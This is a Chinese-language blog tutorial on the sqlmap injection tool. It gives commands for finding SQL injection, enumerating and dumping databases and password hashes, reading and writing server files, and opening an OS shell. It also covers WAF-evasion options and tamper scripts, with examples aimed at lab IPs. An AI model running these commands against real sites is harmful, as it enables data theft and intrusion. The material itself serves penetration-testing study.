不會安裝見sqlmap的同學見(sqlmap使用教程-安裝教程:https://www.cnblogs.com/xingyuyu/p/15378326.html)
sqlmap支持5種注入模式:
1、基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
2、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
3、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
4、聯合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時執行多條語句的執行時的注入。
sqlmap目前支持的數據庫有:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
sqlmap常用命令:
更新命令:python sqlmap.py --update
常用URL注入語句:sqlmap.py -url http://192.168.64.134/sql/Less-1/?id=1
--level (1-5)執行測試等級level有5個等級,默認等級為1,進行Cookie測試時使用2 ,進行use-agent或refer測試時使用3 ,進行host測試時使用 5
--risk=RISK(0-3)執行測試的風險,共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL注入測試。
-v VERBOSE (0-6)信息級別:0、只顯示python錯誤以及嚴重的信息。1、同時顯示基本信息和警告信息(默認);2、同時顯示debug信息;3、同時顯示注入的payload;4、同時顯示HTTP請求;5、同時顯示HTTP響應頭;6、同時顯示HTTP響應頁面。
常見步驟如下:
step1:sqlmap -u ["URL"] //測試是否存在注入
step2:sqlmap -u ["URL"] -current-db //查詢當前數據庫
step3:sqlmap -u ["URL"] -D ["數據庫名"] --tables //查詢當前數據庫中的所有表
step4:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] --columns //查詢指定庫中指定表的所有列(字段)
step5:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] -C ["列名"] --dump //打印出指定庫中指定表指定列中的字段內容
多個url注入:sqlmap.py -m urls.txt
txt格式如下:
http://192.168.79.130/sqli/Less-1/?id=1
http://192.168.79.130/sqli/Less-2/?id=1
http://192.168.79.130/sqli/Less-3/?id=1
手機移動站點注入:sqlmap.py -u “http://www.mobile.com?Id=1”--mobile
智能測試注入:sqlmap.py -u“http://192.168.79.130/sqli/Less-1/?id=1”--batch --smart
--batch 自動選擇yes
--smart 啟發式快速判斷,節約浪費時間
post及cookie注入:sqlmap.py -r burpsuite抓包.txt
txt格式如下:
POST /vuln.php HTTP/1.1 Host: www.test.com User-Agent: Mozilla/4.0 id=1
指定參數注入:sqlmap.py -r post.txt -p 注入參數
指定表單注入:sqlmap -u URL -data “username=a&password=a”
sqlmap表單注入:sqlmap.py -u URL -froms
信息枚舉(可以組合使用):
-a, --all 獲取所有信息
-b, --banner 獲取數據庫管理系統的標識
--current-user 獲取數據庫管理系統當前用戶
--current-db 獲取數據庫管理系統當前數據庫
--hostname 獲取數據庫服務器的主機名稱
--is-dba 檢測DBMS當前用戶是否DBA
--users 枚舉數據庫管理系統用戶
--passwords 枚舉數據庫管理系統用戶密碼哈希
--privileges 枚舉數據庫管理系統用戶的權限
--roles 枚舉數據庫管理系統用戶的角色
--dbs 枚舉數據庫管理系統數據庫
--tables 枚舉的DBMS數據庫中的表
--columns 枚舉DBMS數據庫表列
--schema 枚舉數據庫架構
--count 檢索表的項目數,有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數:sqlmap.py -u url --count -D testdb
--dump 轉儲數據庫表項
--dump-all 轉儲數據庫所有表項
--search 搜索列(S),表(S)和/或數據庫名稱(S)
--comments 獲取DBMS注釋
-D DB 要進行枚舉的指定數據庫名
-T TBL DBMS數據庫表枚舉
-C COL DBMS數據庫表列枚舉
-X EXCLUDECOL DBMS數據庫表不進行枚舉
-U USER 用來進行枚舉的數據庫用戶
--exclude-sysdbs 枚舉表時排除系統數據庫
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 獲取第一個查詢輸出數據位置
--stop=LIMITSTOP 獲取最后查詢的輸出數據
--first=FIRSTCHAR 第一個查詢輸出字的字符獲取
--last=LASTCHAR 最后查詢的輸出字字符獲取
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要執行的SQL文件
系統文件操作
--file-read “文件路徑” 據庫服務器中讀取文件
--file-write “本地文件路徑”,--file-dest “目標文件路徑” 把文件上傳到目標服務器
--os cmd, --os-shell 運行任意操作系統命令
繞過waf常用方法(可以使用一種或多種組合使用):
檢測waf類型:sqlmap.py -u “http://test.com/test.php?Id=1”--identify-waf
使用代理:sqlmap.py -u “http://test.com/test.php?Id=1” --proxy=http://127.0.0.1:8080(代理地址)
延遲連接:sqlmap.py -u “http://test.com/test.php?Id=1” --delay=3 (單位為秒)
使用隨機Usre-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --random-agent(過安全狗有點用)
指定User-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --user-agent=”Firefox/xxx”
調整並發線程數:sqlmap.py -u “http://test.com/test.php?Id=1” --threads=4(線程數)
指定Referer字段:sqlmap.py -u “http://test.com/test.php?Id=1”--referer="https://www.baidu.com/index.html"
更換錯誤請求:sqlmap.py -u “http://test.com/test.php?Id=1” --safe-url(正常的網站)
使用sqlmap自帶的過waf腳本:sqlmap.py -u “http://test.com/test.php?Id=1” --tamper[“腳本名稱”](如果腳本失效,可以自定義腳本)
注:腳本文件位於sqlmap文件夾下的tamper文件夾里面
apostrophemask.py 用UTF-8全角字符替換單引號字符
apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
appendnullbyte.py 在payload末尾添加空字符編碼
base64encode.py 對給定的payload全部字符使用Base64編碼
between.py 分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=”
bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等於號“=”
chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
equaltolike.py 用“LIKE”運算符替換全部等於號“=”
greatest.py 用“GREATEST”函數替換大於號“>”
halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL注釋
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
lowercase.py 用小寫值替換每個關鍵字字符
modsecurityversioned.py 用注釋包圍完整的查詢
modsecurityzeroversioned.py 用當中帶有數字零的注釋包圍完整的查詢
multiplespaces.py 在SQL關鍵字周圍添加多個空格
nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用於過濾器
overlongutf8.py 轉換給定的payload當中的所有字符
percentage.py 在每個字符之前添加一個百分號
randomcase.py 隨機轉換每個關鍵字字符的大小寫
randomcomments.py 向SQL關鍵字中插入隨機注釋
securesphere.py 添加經過特殊構造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替換空格符
space2dash.py 用破折號注釋符“--”其次是一個隨機字符串和一個換行符替換空格符
space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符
space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
space2mysqldash.py 用破折號注釋符“--”其次是一個換行符替換空格符
space2plus.py 用加號“+”替換空格符
space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
unmagicquotes.py 用一個多字節組合%bf%27和末尾通用注釋一起替換空格符 寬字節注入
varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF
versionedkeywords.py 用MySQL注釋包圍每個非函數關鍵字
versionedmorekeywords.py 用MySQL注釋包圍每個關鍵字
xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF
腳本詳細使用信息可以參考:https://www.douban.com/note/798582925/
本博客參考文章:
https://www.freebuf.com/sectool/164608.html
https://www.cnblogs.com/Hunter-01001100/p/12377393.html
https://my.oschina.net/u/4352543/blog/3551039